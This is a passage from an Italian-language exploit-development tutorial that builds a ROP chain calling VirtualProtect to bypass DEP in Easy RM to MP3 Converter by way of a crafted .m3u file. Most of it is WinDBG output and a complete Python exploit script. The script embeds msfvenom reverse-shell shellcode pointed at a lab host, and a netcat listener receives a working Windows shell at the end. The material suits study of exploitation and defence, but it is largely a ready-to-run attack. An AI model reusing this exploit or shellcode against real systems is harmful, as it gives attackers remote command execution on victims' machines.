Guardando i valori sembra che tutto sia allineato e pronto per essere eseguito.

Step 10. Registro to VirtualProtect e switch con ESP

Ora basta cercare un registro che punti vicino a VirtualProtect, copiarlo in EAX, aggiungere un ADD/DEC per farlo puntare preciso a VirtualProtect e poi copiare quel valore in ESP. In questo modo lo stack pointer punterà preciso alla funzione e la eseguirà.

Con WinDBG vediamo l’indirizzo di VirtualProtect e un registro vicino a lui

0:000> u poi(0011f454)
KERNEL32!VirtualProtectStub:
77325c90 8bff            mov     edi,edi
77325c92 55              push    ebp
77325c93 8bec            mov     ebp,esp
77325c95 5d              pop     ebp
77325c96 ff2544883877    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77388844)]
KERNEL32!AppModelPolicy_GetPolicy_Internal:
77325c9c 8bff            mov     edi,edi
77325c9e 55              push    ebp
77325c9f 8bec            mov     ebp,esp
0:000> r
eax=00000040 ebx=00124a00 ecx=0011f464 edx=001f0000 esi=41414141 edi=41414141
eip=1002b67f esp=0011f5b8 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSRMfilter03!Filter_Reset+0x21caf:
1002b67f c3              ret
0:000> ? ecx - 0011f454 
Evaluate expression: 16 = 00000010

Salviamo ECX in EAX, lo decrementiamo di 16 in modo che punti a VirtualProtect e poi usiamo l’operazione di XCHG per sostituirlo ad ESP

....
#ESP to VirtualProtect
payload += struct.pack("<I",0x100219f9)  # MOV EAX,ECX # RETN    ** [MSRMfilter03.dll] **  
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
payload += struct.pack("<I",0x1002be41)  # XCHG EAX,ESP # RETN    ** [MSRMfilter03.dll] **

payload += b"\x90" * 250 # compensate

payload += shellcode
.....

Vediamo con WinDBG

Breakpoint 0 hit
eax=0011f454 ebx=00124a00 ecx=0011f464 edx=01b30000 esi=41414141 edi=41414141
eip=1002be41 esp=0011f600 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSRMfilter03!Filter_Reset+0x22471:
1002be41 94              xchg    eax,esp
0:000> dd eax L7
0011f454  77325c90 0011f5ec 0011f5ec 00000600
0011f464  00000040 1006ad10 90909090
0:000> p
eax=0011f600 ebx=00124a00 ecx=0011f464 edx=01b30000 esi=41414141 edi=41414141
eip=1002be42 esp=0011f454 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSRMfilter03!Filter_Reset+0x22472:
1002be42 c3              ret
0:000> dd esp L7
0011f454  77325c90 0011f5ec 0011f5ec 00000600
0011f464  00000040 1006ad10 90909090

Step 11. Exploit

Arrivato qui, mi sono accorto che il puntatore al return address e lpAddress non puntava più vicino allo shellcode ma dopo lo shellcode. Questo è dovuto al fatto che abbiamo aggiunto più gadget del previsto e la chain si è allungata. Il seguente snippet è lo step 7, nel quale abbiamo aggiunto ADD EAX per spostare il puntatore allo shellcode

....
eax=0011f45c ebx=00124a00 ecx=0011f45c edx=01bd0000 esi=41414141 edi=0011f458
eip=75be5de6 esp=0011f534 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
MSVCRT!__p__pctype+0x26:
75be5de6 05c8000000      add     eax,0C8h
0:000> p
eax=0011f524 ebx=00124a00 ecx=0011f45c edx=01bd0000 esi=41414141 edi=0011f458
eip=75be5deb esp=0011f534 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200216
MSVCRT!__p__pctype+0x2b:
75be5deb c3              ret
0:000> dd eax
0011f524  771c28ee 774771b2 41414141 75be5de6
0011f534  75be5de6 77189c93 41414141 41414141
0011f544  1002b67d 10025b9c 1002dc4c 41414141
0:000> dd eax+100
0011f624  90909090 90909090 90909090 90909090
0011f634  90909090 90909090 90909090 90909090
0011f644  90909090 90909090 90909090 90909090
0011f654  90909090 90909090 90909090 90909090
0011f664  90909090 90909090 90909090 90909090
0011f674  90909090 90909090 90909090 90909090
0011f684  90909090 90909090 90909090 90909090
0011f694  90909090 90909090 90909090 90909090
....

Per risolvere è sufficente incrementare EAX con i seguenti gadget

0x75be5de6  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
0x75be5de6  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
0x75be5de6  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
0x75be28d8  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
0x75be28d8  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 

Aggiorno lo script e lo shellcode finale sarà:

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"


rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03

#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding

#Salvo ESP in EDI ed EAX
payload += struct.pack("<I",0x77371b2e)  # PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **
payload += struct.pack("<I",0x771cb29a) # MOV EDI,ESI # DEC ECX # RETN 0x0C    **
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += struct.pack("<I",0x75bebe2b)  # MOV EAX,ESI # POP ESI # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ESI


#jump over VirtualProtect
payload += struct.pack("<I",0x100201a3)  # ADD ESP,1C # RETN    ** [MSRMfilter03.dll] ** 

# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111)    # return address
payload += struct.pack('<L', 0x22222222)    # lpAddress (same as before)
payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10)    # pOldProtect (any writeable address)

payload += b"\x90" * 4

#EDI point to return Address
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 

#EAX will point to lpAddress
payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] **

#EAX will point to an address equal or inside NOP sled
#copio EAX in ECX per salvarne il valore
#ECX will point to lpAddress
payload += struct.pack('<L',0x774771b2)  # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop bp
payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop bp


#EAX --> [EDI]
payload += struct.pack("<I",0x77189c93)  # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN    ** [USER32.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop edi
payload += struct.pack("<I",0x41414141) # padding for pop esi

#EAX -> [ECX]
payload += struct.pack("<I",0x1002b67d)  # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

#dwSize
payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#aumento ecx di 40 per puntare a dwsize
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

#flNewProtect  
payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#incremento di 4 ecx
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

#ESP to VirtualProtect
payload += struct.pack("<I",0x100219f9)  # MOV EAX,ECX # RETN    ** [MSRMfilter03.dll] **  
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x775157d7)  # DEC EAX # RETN    ** [ntdll.dll] **
payload += struct.pack("<I",0x1002be41)  # XCHG EAX,ESP # RETN    ** [MSRMfilter03.dll] **

payload += b"\x90" * 250 # compensate

payload += shellcode

payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Ci mettiamo in ascolto sulla kali e lanciamo

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 9849
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Easy RM to MP3 Converter>whoami
whoami
desktop-p7jng2j\user

Conclusioni

Ammetto che la prima volta che ho studiato questa tecnica ho avuto diversi grattacapi, ma una volta capito bene il funzionamento generico vi assicuro che probabilmente è più semplice della tecnica classica. Tutto si riduce al salvare ESP, saltare il placeholder e giocare con i registri incrementando/decrementando il loro valore per poi sostituirli al puntatore nel placeholder.

Alcune risorse utili:

  1. https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
  2. https://vickieli.dev/binary%20exploitation/data-execution-prevention/
  3. https://connormcgarr.github.io/ROP/
  4. https://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf
  5. https://www.fuzzysecurity.com/tutorials/expDev/7.html
  6. https://h0mbre.github.io/Creating_Win32_ROP_Chains
  7. https://www.shogunlab.com/blog/2018/02/11/zdzg-windows-exploit-5.html